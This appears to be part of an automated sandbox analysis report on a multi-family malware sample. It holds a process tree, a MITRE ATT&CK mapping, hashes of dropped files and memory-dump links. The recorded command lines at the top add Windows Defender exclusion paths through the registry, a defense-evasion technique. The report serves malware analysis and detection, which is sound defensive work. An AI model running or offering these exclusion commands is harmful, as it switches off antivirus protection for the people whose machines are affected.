    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:336
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1704

C:\Users\Admin\AppData\Local\Temp\2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2768

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3eb1YH.exe

Path C:\Program Files (x86)\3eb1YH\3eb1YH.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\3eb1YH\XPSPLOG.dll
Size 4.6MB
SHA256 162488c1429629130f6d6be2765111e76f2ba06a5ca3f7e082b981f23843a959
MD5 28a5a15a4269f68b90578619c902930e
SHA1 e85dfb412dc6372d1ad71c6ae8a080be2a1bc5ed
SHA512 d8eeac507cddf461975326975f7c4ec821e3d37e33a5a5afada8152f981ab9771df6c9c99caefb57ad60ed33918920e1d3b3364600a683f6ffdb944a6dec3bac
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyA:BMWKfU+BcUTHCCCfqCiUffnA
TLSH
T190263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 2abbe264f2e833d031cf1e7fbd6f6b1d3a56e053f2ecafbdd0005701a8936a8e
MD5 33e477cbdc4e1c0fcd0921502959b239
SHA1 8c51d187d054dbc0a274dc5e4772f239a7977aef
SHA512 512c7a9ca5db017045f192ac19eb37cf4df9d46de943c6091e8e216a0ee4146bb651a1f690592169ffca8d339dac72b67b20c989f197b64b8d46e2abec6a7e3a
TLSH
T1C121C959442A4DC1EBA31D5A77C0C42B6C76D7D074B82C1A712908D52F843A82F0E90C
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 3557c83a09f5be82030523c9b1bd498c10f2430b572fae1e52efad71bcad0cbd
MD5 0f0bf17ebe74e9c21d3c28eecb04ea17
SHA1 2bb676ec53a0a81140d1b1c5df59d5b34c65f974
SHA512 ad3d75ff405772974eca680ca5b42358d44ec94069921c70dcd0bd0338e6d5b6699a5705bae49d3b84041ab0ec507aa7769383a98a5420080ccdf14240ab2f8c
TLSH
T19F21C64AE9BD0841AE1A9E9109DCF2B36CE2C7C810CC040AB20BC275580134A3F5645C
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 f74b8dc925094e151fe68911e770f270a841697eb3aa8ce4c4c91fe882db5b55
MD5 4ebaed116094ca9224d280123245e486
SHA1 5551d4c9f593506b9ed3197458da92073ab6d6d6
SHA512 8a219568f56cbcd4fbed7f065a09e297f5c61e305748bb5a73739c469664c7a0fe486d6c221da3ad0d789a90efad1cc5bf41645992c1a8c0890912010ca5d4d2
TLSH
T1D7F0273C15FD412EF072CA390ECF7665CA7BE712102601AA21E58B0AB941F0A3C95569
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 78f2e7def20978a9a696d7c9e7314987930c3f4bd44c57cd64759c411cf8d3a1
MD5 0753424b7a793ff4a0ee2ea787844f2e
SHA1 f74911c4d90758210bea061f3be27170d59e367a
SHA512 fcff20ede2db7e2ea9e20b0f93795ebab2473809975bf41b813031231eba7ede7029c9cdf0fb510bc65700e2478863b482747b2dca99250b5f4413d008e31ec7
TLSH
T15CF05C2419F8500AF13BCB7915EA6BF0D66BF613249806FD00AA43586B51F206C8567E
MD5 SHA1 SHA512 TLSH

Submit Download

BjzLCL.exe

Path C:\Users\Public\1TSLJk\BjzLCL.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\1TSLJk\UxEnhance64.dll
Size 3.1MB
SHA256 f8411620332a48670c62efc8e6ce01dac07711893d86aff5f6142696ee463ede
MD5 b0c1d133b1f847834cd7b1edefcb7209
SHA1 8dcbb61afb7bc32bfa1e55c1b54233b40359754d
SHA512 1f8b12508f0ef7bf5898f953c26fb300f36790bbe62fcd232e4fc3631e128ced7f883f8a1eedd8f15372b7f29de0be5c2578fc2f92b320150795992293eb2a3f
SSDEEP 49152:k8xUfn0rHSPj8d2uTVwtOYy1Ce3MXWY8Wt6I0VjqB/3q2ieE4TedO3EMB/iwdZ5y:cfKS8d2P+3MWEk1Vej6dMEMkOZ5acbCt
TLSH
T13CE522A572C638F7C066C7B5D42278AE317D3B41EF638D4FB3C86A019E121285B3A756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\1TSLJk\adoresd.dat
Size 4.7MB
SHA256 7e0ad064b0629b4f6958d0d21a99c31dc7d60a555839c5750ea58e4a6f4ed281
MD5 e003778594cfe77ccf16f7a7ebdf44ad
SHA1 a83b01c02582cc274546e79aefff73ed0a90d45c
SHA512 b2124b0ae2818c63dd7f3573bad1a477ff76b2c9a96f680532738ce623759a338c3e08f8941213fa94dbfcf59bcccb21e1c56bd977671ef65c3e894f050992db
SSDEEP 98304:8FvSi0jgcaku9VWBrKaSuMsNxVV0nEgYpBWKPGH8moKtuzoeuTF5Z5eyzvM7T:oVatVNxzgwhPGHboKtGo3ayjE
TLSH
T1B73633A972C8CDDA4E6A46DC8A528E670B2A57525361602D1FF00F914BEFE9FDD1C830
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\1TSLJk\msadox.tb
Size 8KB
SHA256 444236151ff309e650a50fe560f5e1f6e5a50f78e07f5bec5fb4ae12c6ab46f1
MD5 2076947d1f3033efc90a3fa71dde7ffc
SHA1 a1ac4eca06ad6904b1aa89662efb9bea1e0fef62
SHA512 db7ac6b6cbe17902dda9531950c051400930469bf0edfd7a2f4bbb510965bb2283522569dc71cdf7870a3490b670163fce644e922a25d6a10f5a4f604a817595
SSDEEP 192:8qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:8sZqZOXQ3uqvR2Kfzp
TLSH
T1DC029E05D7A20CC7D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2768-0-0x0000000001F10000-0x0000000001F1D000-memory.dmp

Download

memory/2768-526-0x00007FF9056D0000-0x00007FF9056E0000-memory.dmp

Download

memory/2768-525-0x0000000001F10000-0x0000000001F1D000-memory.dmp

Download

memory/2768-503-0x00007FF9056D0000-0x00007FF9056E0000-memory.dmp

Download

memory/2768-1-0x0000000001F20000-0x0000000001F2B000-memory.dmp

Download

memory/4016-547-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-563-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-545-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-551-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-560-0x000002631A3D0000-0x000002631A476000-memory.dmp

Download

memory/4016-559-0x000002631A3D0000-0x000002631A476000-memory.dmp

Download

memory/4016-558-0x000002631A3D0000-0x000002631A476000-memory.dmp

Download

memory/4016-557-0x000002631A3D0000-0x000002631A476000-memory.dmp

Download

memory/4016-556-0x000002631A2A0000-0x000002631A300000-memory.dmp

Download

memory/4016-546-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-544-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-540-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-539-0x00007FF90B240000-0x00007FF90B242000-memory.dmp

Download

memory/4016-538-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-569-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-570-0x00000263196C0000-0x0000026319F5F000-memory.dmp

Download

memory/4016-532-0x00007FF8F9EA0000-0x00007FF8FA3B7000-memory.dmp

Download

memory/4016-531-0x00007FF90B230000-0x00007FF90B232000-memory.dmp

Download